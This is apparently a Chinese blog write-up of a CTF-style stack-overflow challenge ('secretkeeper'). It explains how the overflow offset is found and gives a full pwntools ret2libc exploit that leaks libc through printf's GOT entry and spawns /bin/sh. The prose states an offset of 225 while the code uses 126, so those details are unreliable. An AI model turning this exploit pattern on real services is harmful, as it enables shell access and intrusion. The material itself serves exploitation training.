zoukankan      html  css  js  c++  java
  • 栈溢出利用小结

    栈溢出利用小结

    栈溢出是最简单的漏洞了,主要是通过学习栈溢出,学习其绕过保护机制的利用。

     

    这里先用一道典型的题secretkeeper来进入。利用方式就是典型的地址泄露+ret2libc。

     其漏洞的位置在修改secret的时候出现的:

     现在我们来测一下。输入选择4,然后300个A,程序出现问题。

    现在找到漏洞了,就太好了,接下来就是计算溢出点了。

     

    溢出点在偏移225处,验证一下,输入225 * "A"+"BBBB".

     

    果然程序的EIP到了我们的BBBB上面了,说明偏移正确。下面就是如何来绕过NX了。绕过方式就是ret2libc。

     1 from pwn import *
     2 debug  = 1
     3 local = 1
     4 if local:
     5     io = process('./secretkeeper')
     6 else:
     7     io = remote("127.0.0.0",8080)
     8 
     9 context.log_level = 'debug'
    10 
    11 if debug:
    12     gdb.attach(io)
    13     #gdb.attach(pidof('secretkeeper')[-1])
    14 
    15 #-------------------------------------------------------#
    16 
    17 def create():
    18     io.recvuntil('Please input your option:')
    19     io.sendline('1')
    20     io.recvuntil('Enter secret name:')
    21     io.sendline('name')
    22     io.recvuntil('Enter your password:')
    23     io.sendline('pass')
    24     io.recvuntil("Enter the secret level (The bigger the more important):")
    25     io.sendline('10')
    26     io.recvuntil('Enter your secret:')
    27     io.sendline('AAAA')
    28 
    29 def edit(payload):
    30     io.recvuntil('Please input your option:')
    31     io.sendline('4')
    32     io.recvuntil('Enter the name of the secret to EDIT:')
    33     io.sendline('name')
    34     io.recvuntil('Enter your password:')
    35     io.sendline('pass')
    36     io.recvuntil('Enter the new level:')
    37     io.sendline('2')
    38     io.recvuntil('Enter your secret:')
    39     io.sendline('2')
    40     io.recvuntil('y/n')
    41     io.sendline(payload)
    42 
    43 #----------------------------------------------------------#
    44 
    45 print_plt = 0x080484A0
    46 main = 0x08048A8F
    47 print_got = 0x0804B00C
    48 
    49 payload = 'A'*126
    50 payload += p32(print_plt) + p32(main) +p32(print_got)
    51 
    52 create()
    53 edit(payload)
    54 
    55 io.recvuntil('Your changes have been recorded!')
    56 io.recvline()
    57 print_got_addr = u32(io.recv(4))
    58 print 'print_got_addr=' ,hex(print_got_addr)
    59 
    60 libc =ELF('/lib/i386-linux-gnu/libc.so.6')
    61 libc_addr = print_got_addr - libc.symbols['printf']
    62 
    63 system_got = libc_addr + libc.symbols['system']
    64 print 'system_got=' ,hex(system_got)
    65 
    66 ssh_addr = libc_addr + next(libc.search('/bin/sh'))
    67 print 'ssh_addr=' ,hex(ssh_addr)
    68 
    69 payload1 = 'A'*126
    70 payload1 += p32(system_got) + p32(main) +p32(ssh_addr)
    71 
    72 create()
    73 edit(payload1)
    74 #gdb.attach(p,open( 'aa'))
    75 
    76 
    77 io.interactive()

     参考文档:

      ret2libc:http://blog.csdn.net/linyt/article/details/43643499

          http://blog.csdn.net/guilanl/article/details/61921481

     

     

     

     

     

  • 相关阅读:
    Identity Server 4 从入门到落地(六)—— 简单的单页面客户端
    Identity Server 4 从入门到落地(十一)—— Docker部署
    C# 脚本
    网站迁移纪实:从Web Form 到 Asp.Net Core (Abp vNext 自定义开发)
    Identity Server 4 从入门到落地(七)—— 控制台客户端
    Robot Framework 使用总结
    Asp.Net Core 使用Monaco Editor 实现代码编辑器
    Identity Server 4 从入门到落地(五)—— 使用Ajax访问Web Api
    C# RabbitMQ的使用
    创建VS Code 扩展插件
  • 原文地址:https://www.cnblogs.com/Yable/p/7932389.html
Copyright © 2011-2022 走看看